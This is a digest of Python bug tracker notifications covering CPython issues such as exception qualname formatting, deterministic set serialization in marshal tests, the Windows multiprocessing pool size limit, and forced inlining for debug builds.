_______________________________________ From report at bugs.python.org Fri Sep 3 03:30:44 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 03 Sep 2021 07:30:44 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630654244.62.0.747649277053.issue45083@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +26573 pull_request: https://github.com/python/cpython/pull/28135 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:30:47 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 07:30:47 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630654247.98.0.817917865782.issue45083@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset b4b6342848ec0459182a992151099252434cc619 by Irit Katriel in branch 'main': bpo-45083: Include the exception class qualname when formatting an exception (GH-28119) https://github.com/python/cpython/commit/b4b6342848ec0459182a992151099252434cc619 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:30:40 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 03 Sep 2021 07:30:40 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630654240.99.0.771345380773.issue45083@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +26572 pull_request: https://github.com/python/cpython/pull/28134 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:32:24 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 07:32:24 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1630654344.41.0.762970928843.issue34602@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset be9de8721d63b9d8e032d508069daf88c06542c6 by ?ukasz Langa in branch 'main': bpo-34602: Quadruple stack size on macOS when compiling with UBSAN (GH-27309) https://github.com/python/cpython/commit/be9de8721d63b9d8e032d508069daf88c06542c6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:37:25 2021 From: report at bugs.python.org (Ruben Vorderman) Date: Fri, 03 Sep 2021 07:37:25 +0000 Subject: [issue43613] gzip.compress and gzip.decompress are sub-optimally implemented. In-Reply-To: <1616567239.03.0.950381696666.issue43613@roundup.psfhosted.org> Message-ID: <1630654645.09.0.997501497921.issue43613@roundup.psfhosted.org> Ruben Vorderman added the comment: Issue was solved by moving code from _GzipReader to separate functions and maintaining the same error structure. This solved the problem with maximum code reuse and full backwards compatibility. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:39:47 2021 From: report at bugs.python.org (wodny) Date: Fri, 03 Sep 2021 07:39:47 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630654787.65.0.767995404878.issue44748@roundup.psfhosted.org> wodny added the comment: I used a wrapper to default values. This gives me nice help message with ArgumentDefaultsHelpFormatter and easy way to update a config file dictionary with results from parse_args(). ```python from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter, Namespace from dataclasses import dataclass from typing import Any @dataclass class Default: value: Any def __str__(self): return str(self.value) @staticmethod def remove_defaults(ns): return Namespace(**{ k: v for k, v in ns.__dict__.items() if not isinstance(v, Default)}) @staticmethod def strip_defaults(ns): return Namespace(**{ k: v.value if isinstance(v, Default) else v for k, v in ns.__dict__.items() }) p = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter) p.add_argument("--foo", "-f", default=Default(10), help="the foo arg") p.add_argument("--bar", "-b", default=Default("big-bar"), help="the bar arg") p.add_argument("--baz", "-z", default=True, help="the baz arg") options = p.parse_args() print(options) print(Default.remove_defaults(options)) print(Default.strip_defaults(options)) ``` ```sh $ ./arguments.py -b hello Namespace(bar='hello', baz=True, foo=Default(value=10)) Namespace(bar='hello', baz=True) Namespace(bar='hello', baz=True, foo=10) $ ./arguments.py -b hello -h usage: arguments.py [-h] [--foo FOO] [--bar BAR] [--baz BAZ] optional arguments: -h, --help show this help message and exit --foo FOO, -f FOO the foo arg (default: 10) --bar BAR, -b BAR the bar arg (default: big-bar) --baz BAZ, -z BAZ the baz arg (default: True) ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 03:53:08 2021 From: report at bugs.python.org (Eryk Sun) Date: Fri, 03 Sep 2021 07:53:08 +0000 Subject: [issue45077] multiprocessing.Pool(64) crashes on Windows In-Reply-To: <1630502444.21.0.00996444749357.issue45077@roundup.psfhosted.org> Message-ID: <1630655588.26.0.975262726386.issue45077@roundup.psfhosted.org> Eryk Sun added the comment: See bpo-26903 for a similar problem in concurrent.futures.ProcessPoolExecutor. It was resolved by adding a limit constant, _MAX_WINDOWS_WORKERS == 61. WaitForMultipleObjects() can wait on up to 64 object handles, but in this case 3 slots are already taken. The pool wait includes two events for its output and change-notifier queues (named pipes), plus the _winapi module always reserves a slot for the SIGINT event, even though this event is only used by waits on the main thread. To avoid the need to limit the pool size, connection._exhaustive_wait() could be modified to combine simultaneous waits on up to 63 threads, for which each thread exhaustively populates a list of up to 64 signaled objects. I wouldn't want to modify _winapi.WaitForMultipleObjects, but the exhaustive wait should still be implemented in C, probably in the _multiprocessing extension module. A benefit of implementing _exhaustive_wait() in C is lightweight thread creation, directly with CreateThread() and a relatively small stack commit size. ---------- components: +Library (Lib) nosy: +eryksun versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 04:11:12 2021 From: report at bugs.python.org (Tobias Bengfort) Date: Fri, 03 Sep 2021 08:11:12 +0000 Subject: [issue12499] textwrap.wrap: add control for fonts with different character widths In-Reply-To: <1309835004.91.0.584156217993.issue12499@psf.upfronthosting.co.za> Message-ID: <1630656672.75.0.663851876151.issue12499@roundup.psfhosted.org> Change by Tobias Bengfort : ---------- nosy: +xi2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 04:13:33 2021 From: report at bugs.python.org (Tobias Bengfort) Date: Fri, 03 Sep 2021 08:13:33 +0000 Subject: [issue12499] textwrap.wrap: add control for fonts with different character widths In-Reply-To: <1309835004.91.0.584156217993.issue12499@psf.upfronthosting.co.za> Message-ID: <1630656813.46.0.296192733075.issue12499@roundup.psfhosted.org> Change by Tobias Bengfort : ---------- pull_requests: +26574 pull_request: https://github.com/python/cpython/pull/28136 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 04:13:33 2021 From: report at bugs.python.org (Tobias Bengfort) Date: Fri, 03 Sep 2021 08:13:33 +0000 Subject: [issue24665] CJK support for textwrap In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za> Message-ID: <1630656813.58.0.989935462721.issue24665@roundup.psfhosted.org> Change by Tobias Bengfort : ---------- nosy: +xi2 nosy_count: 10.0 -> 11.0 pull_requests: +26575 pull_request: https://github.com/python/cpython/pull/28136 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 04:20:15 2021 From: report at bugs.python.org (Julien Palard) Date: Fri, 03 Sep 2021 08:20:15 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1630657215.03.0.538806432082.issue42238@roundup.psfhosted.org> Change by Julien Palard : ---------- pull_requests: +26576 pull_request: https://github.com/python/cpython/pull/28137 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 07:09:02 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 03 Sep 2021 11:09:02 +0000 Subject: [issue36521] Consider removing docstrings from co_consts in code objects In-Reply-To: <1554339855.64.0.463077014069.issue36521@roundup.psfhosted.org> Message-ID: <1630667342.13.0.214455206245.issue36521@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +26577 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28138 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 07:27:30 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 11:27:30 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630668450.12.0.523601902539.issue37596@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue. test_marshal failed on AMD64 Arch Linux Usan 3.x: https://buildbot.python.org/all/#/builders/719/builds/108 ====================================================================== FAIL: test_deterministic_sets (test.test_marshal.BugsTestCase) [set([('string', 1), ('string', 2), ('string', 3)])] ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.pablogsal-arch-x86_64.clang-ubsan/build/Lib/test/test_marshal.py", line 365, in test_deterministic_sets self.assertNotEqual(repr_0, repr_1) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: b"{('string', 1), ('string', 2), ('string', 3)}\n" == b"{('string', 1), ('string', 2), ('string', 3)}\n" ====================================================================== FAIL: test_deterministic_sets (test.test_marshal.BugsTestCase) [frozenset([('string', 1), ('string', 2), ('string', 3)])] ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.pablogsal-arch-x86_64.clang-ubsan/build/Lib/test/test_marshal.py", line 365, in test_deterministic_sets self.assertNotEqual(repr_0, repr_1) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: b"frozenset({('string', 1), ('string', 2), ('string', 3)})\n" == b"frozenset({('string', 1), ('string', 2), ('string', 3)})\n" ---------- nosy: +vstinner resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 07:44:18 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 11:44:18 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630669458.92.0.739288668298.issue37596@roundup.psfhosted.org> STINNER Victor added the comment: The test failed at: def test_deterministic_sets(self): # bpo-37596: To support reproducible builds, sets and frozensets need to # have their elements serialized in a consistent order (even when they # have been scrambled by hash randomization): for kind in ("set", "frozenset"): for elements in ( "float('nan'), b'a', b'b', b'c', 'x', 'y', 'z'", # Also test for bad interactions with backreferencing: "('string', 1), ('string', 2), ('string', 3)", ): s = f"{kind}([{elements}])" with self.subTest(s): # First, make sure that our test case still has different # orders under hash seeds 0 and 1. If this check fails, we # need to update this test with different elements: args = ["-c", f"print({s})"] _, repr_0, _ = assert_python_ok(*args, PYTHONHASHSEED="0") _, repr_1, _ = assert_python_ok(*args, PYTHONHASHSEED="1") self.assertNotEqual(repr_0, repr_1) # <=== HERE (...) It checks that the representation of a set is different for two different PYTHONHASHSEED values (0 and 1). On my Fedora 34, I confirm that they are different: PYTHONHASHSEED=0: vstinner at apu$ PYTHONHASHSEED=0 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" {('string', 1), ('string', 2), ('string', 3)} vstinner at apu$ PYTHONHASHSEED=0 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" {('string', 1), ('string', 2), ('string', 3)} vstinner at apu$ PYTHONHASHSEED=0 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" {('string', 1), ('string', 2), ('string', 3)} versus PYTHONHASHSEED=1: vstinner at apu$ PYTHONHASHSEED=1 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" {('string', 3), ('string', 1), ('string', 2)} vstinner at apu$ PYTHONHASHSEED=1 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" {('string', 3), ('string', 1), ('string', 2)} vstinner at apu$ PYTHONHASHSEED=1 ./python -c "print(set([('string', 1), ('string', 2), ('string', 3)]))" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 08:32:44 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 12:32:44 +0000 Subject: [issue41031] Inconsistency in C and python traceback printers In-Reply-To: <1592556858.95.0.825167658939.issue41031@roundup.psfhosted.org> Message-ID: <1630672364.7.0.857154862991.issue41031@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch nosy: +iritkatriel nosy_count: 1.0 -> 2.0 pull_requests: +26578 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28139 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 08:36:26 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 12:36:26 +0000 Subject: [issue41031] Inconsistency in C and python traceback printers In-Reply-To: <1592556858.95.0.825167658939.issue41031@roundup.psfhosted.org> Message-ID: <1630672586.68.0.615444130545.issue41031@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:26:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:26:40 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) for debug builds Message-ID: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> New submission from STINNER Victor : I converted many C macros to static inline functions to reduce the risk of programming bugs (macros pitfalls), limit variable scopes to the function, have a more readable function, and benefit of the function name even when it's inlined in debuggers and profilers. When Py_INCREF() macro was converted to a static inline function, using __attribute__((always_inline)) was considered, but the idea was rejected. See bpo-35059. I'm now trying to convert the Py_TYPE() macro to a static inline function. The problem is that by default, MSC disables inlining and test_exceptions does crash with a stack overflow, since my PR 28128 increases the usage of the stack memory: see bpo-44348. For the specific case of CPython built by MSC, we can increase the stack size, or change compiler optimizations to enable inlining. But the problem is wider than just CPython built by MSC in debug mode. Third party C extensions built by distutils may get the same issue. Building CPython on other platforms on debug mode with all compiler optimizations disabled (ex: gcc -O0) can also have the same issue. I propose to reconsider the usage __forceinline (MSC) and __attribute__((always_inline)) (GCC, clang) on the most important static inline functions, like Py_INCREF() and Py_TYPE(), to avoid this issue. ---------- components: Interpreter Core messages: 400990 nosy: vstinner priority: normal severity: normal status: open title: Consider using __forceinline and __attribute__((always_inline)) for debug builds versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:26:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:26:54 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630675614.12.0.162926247927.issue45094@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Consider using __forceinline and __attribute__((always_inline)) for debug builds -> Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:27:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:27:09 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630675629.22.0.176765582309.issue45094@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +corona10, erlendaasland, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:27:37 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:27:37 +0000 Subject: [issue35059] Convert Py_INCREF() and PyObject_INIT() to inlined functions In-Reply-To: <1540391516.33.0.788709270274.issue35059@psf.upfronthosting.co.za> Message-ID: <1630675657.83.0.786587570598.issue35059@roundup.psfhosted.org> STINNER Victor added the comment: See bpo-45094: "Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:27:41 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:27:41 +0000 Subject: [issue44348] test_exceptions.ExceptionTests.test_recursion_in_except_handler stack overflow on Windows debug builds In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org> Message-ID: <1630675661.71.0.0342409733423.issue44348@roundup.psfhosted.org> STINNER Victor added the comment: See bpo-45094: "Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:36:38 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 03 Sep 2021 13:36:38 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630676198.45.0.16034809892.issue37596@roundup.psfhosted.org> Brandt Bucher added the comment: Thanks for finding this, Victor. That failure is surprising to me. Is it really possible for the order of the elements in a set to vary based on platform or build configuration (even with a fixed PYTHONHASHSEED at runtime)? Really, this looks like it?s only a bug in the test?s (read ?my?) assumptions, not really in marshal itself. I?m glad I added this little sanity check, though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:37:05 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 03 Sep 2021 13:37:05 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630676225.55.0.206657515659.issue45094@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 09:53:06 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 13:53:06 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630677186.65.0.360262193321.issue45094@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +26579 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28140 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:45:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:45:09 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680309.85.0.0368652300992.issue45094@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7974c30b9fd84fa56ea1515ed2c08b38edf1a383 by Victor Stinner in branch 'main': bpo-45094: Add Py_NO_INLINE macro (GH-28140) https://github.com/python/cpython/commit/7974c30b9fd84fa56ea1515ed2c08b38edf1a383 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:45:16 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:45:16 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680316.3.0.789390129899.issue45094@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7974c30b9fd84fa56ea1515ed2c08b38edf1a383 by Victor Stinner in branch 'main': bpo-45094: Add Py_NO_INLINE macro (GH-28140) https://github.com/python/cpython/commit/7974c30b9fd84fa56ea1515ed2c08b38edf1a383 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:45:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:45:09 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680309.59.0.422924820971.issue45094@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7974c30b9fd84fa56ea1515ed2c08b38edf1a383 by Victor Stinner in branch 'main': bpo-45094: Add Py_NO_INLINE macro (GH-28140) https://github.com/python/cpython/commit/7974c30b9fd84fa56ea1515ed2c08b38edf1a383 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:45:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:45:09 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680309.74.0.44636915052.issue45094@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7974c30b9fd84fa56ea1515ed2c08b38edf1a383 by Victor Stinner in branch 'main': bpo-45094: Add Py_NO_INLINE macro (GH-28140) https://github.com/python/cpython/commit/7974c30b9fd84fa56ea1515ed2c08b38edf1a383 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:45:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:45:09 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680309.74.0.44636915052.issue45094@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7974c30b9fd84fa56ea1515ed2c08b38edf1a383 by Victor Stinner in branch 'main': bpo-45094: Add Py_NO_INLINE macro (GH-28140) https://github.com/python/cpython/commit/7974c30b9fd84fa56ea1515ed2c08b38edf1a383 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:54:30 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 03 Sep 2021 14:54:30 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630680870.16.0.491924254445.issue45094@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +26580 pull_request: https://github.com/python/cpython/pull/28141 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 10:59:53 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 03 Sep 2021 14:59:53 +0000 Subject: [issue43950] Include column offsets for bytecode instructions In-Reply-To: <1619521118.33.0.233805842394.issue43950@roundup.psfhosted.org> Message-ID: <1630681193.89.0.567493550507.issue43950@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- pull_requests: +26581 pull_request: https://github.com/python/cpython/pull/28142 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 11:29:16 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 03 Sep 2021 15:29:16 +0000 Subject: [issue43950] Include column offsets for bytecode instructions In-Reply-To: <1619521118.33.0.233805842394.issue43950@roundup.psfhosted.org> Message-ID: <1630682956.98.0.104410779735.issue43950@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset 85ea2d6165dec0cffa6302eb6dc40406eae1edf5 by Batuhan Taskaya in branch 'main': bpo-43950: support positions for dis.Instructions created through dis.Bytecode (GH-28142) https://github.com/python/cpython/commit/85ea2d6165dec0cffa6302eb6dc40406eae1edf5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 11:43:14 2021 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 03 Sep 2021 15:43:14 +0000 Subject: [issue45094] Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org> Message-ID: <1630683794.84.0.627897654621.issue45094@roundup.psfhosted.org> Dong-hee Na added the comment: I like the idea of Py_ALWAYS_INLINE personally if we have to do that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 11:55:17 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 03 Sep 2021 15:55:17 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630684517.65.0.143444654095.issue37596@roundup.psfhosted.org> Brandt Bucher added the comment: I'm compiling Clang now to try to reproduce using a UBSan build (I'm on Ubuntu, though). I'm not entirely familiar with how these sanitizer builds work... could the implication be that we're hitting undefined behavior at some point? Or is it just a red herring? Note also that the "set([float('nan'), b'a', b'b', b'c', 'x', 'y', 'z'])" and "frozenset([float('nan'), b'a', b'b', b'c', 'x', 'y', 'z'])" tests seem to be working just fine... meaning their ordering on this buildbot is different under PYTHONHASHSEEDs 0 and 1 (as expected). It may still be a platform-or-configuration-dependent ordering, though. Raymond: off the top of your head, are there any obvious reasons this could be happening? ---------- assignee: -> brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:16:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 16:16:31 +0000 Subject: [issue1514420] Traceback display code can attempt to open a file named "" Message-ID: <1630685791.72.0.888423489816.issue1514420@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +26582 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28143 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:18:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 03 Sep 2021 16:18:35 +0000 Subject: [issue1514420] Traceback display code can attempt to open a file named "" Message-ID: <1630685915.52.0.203591801258.issue1514420@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.10, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:21:07 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 03 Sep 2021 16:21:07 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630686067.15.0.992582484562.issue42255@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset bc1c49fa94b2abf70e6937373bf1e6b5378035c5 by Dong-hee Na in branch 'main': bpo-42255: Deprecate webbrowser.MacOSX from Python 3.11 (GH-27837) https://github.com/python/cpython/commit/bc1c49fa94b2abf70e6937373bf1e6b5378035c5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:26:21 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 03 Sep 2021 16:26:21 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630686381.96.0.552541768328.issue37596@roundup.psfhosted.org> Brandt Bucher added the comment: Found it. This particular build is configured with HAVE_ALIGNED_REQUIRED=1, which forces it to use fnv instead siphash24 as its string hashing algorithm. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:28:20 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 03 Sep 2021 16:28:20 +0000 Subject: [issue36521] Consider removing docstrings from co_consts in code objects In-Reply-To: <1554339855.64.0.463077014069.issue36521@roundup.psfhosted.org> Message-ID: <1630686500.35.0.749854416206.issue36521@roundup.psfhosted.org> Guido van Rossum added the comment: I am still not convinced that it's a good idea to put the docstring in the surrounding code object. I'd like to be able to see it when I introspect a code object, not just when introspecting a function object (I may be analyzing code only, and it's hard to connect the code object with the NEW_FUNCTION opcode in the parent code object -- you have to scan the bytecode, which is fragile.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:28:10 2021 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 03 Sep 2021 16:28:10 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630686490.49.0.206190780871.issue42255@roundup.psfhosted.org> Change by Dong-hee Na : ---------- pull_requests: +26583 pull_request: https://github.com/python/cpython/pull/28144 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 12:30:11 2021 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 03 Sep 2021 16:30:11 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630686611.59.0.57945949477.issue42255@roundup.psfhosted.org> Change by Dong-hee Na : ---------- pull_requests: +26584 pull_request: https://github.com/python/cpython/pull/28145 _______________________________________ Python tracker _______________________________________ From 